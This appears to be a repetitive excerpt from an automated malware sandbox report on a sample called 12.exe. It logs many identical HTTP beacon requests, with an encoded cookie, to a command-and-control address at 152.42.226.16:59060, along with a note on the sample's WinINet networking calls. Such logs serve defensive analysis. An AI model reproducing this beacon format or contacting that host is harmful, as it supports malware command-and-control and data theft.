Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16
Source: unknown	TCP traffic detected without corresponding DNS query: 152.42.226.16

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB2C3F _memset,__snprintf,__snprintf,__snprintf,HttpOpenRequestA,HttpSendRequestA,InternetCloseHandle,InternetQueryDataAvailable,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00DB2C3F

Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
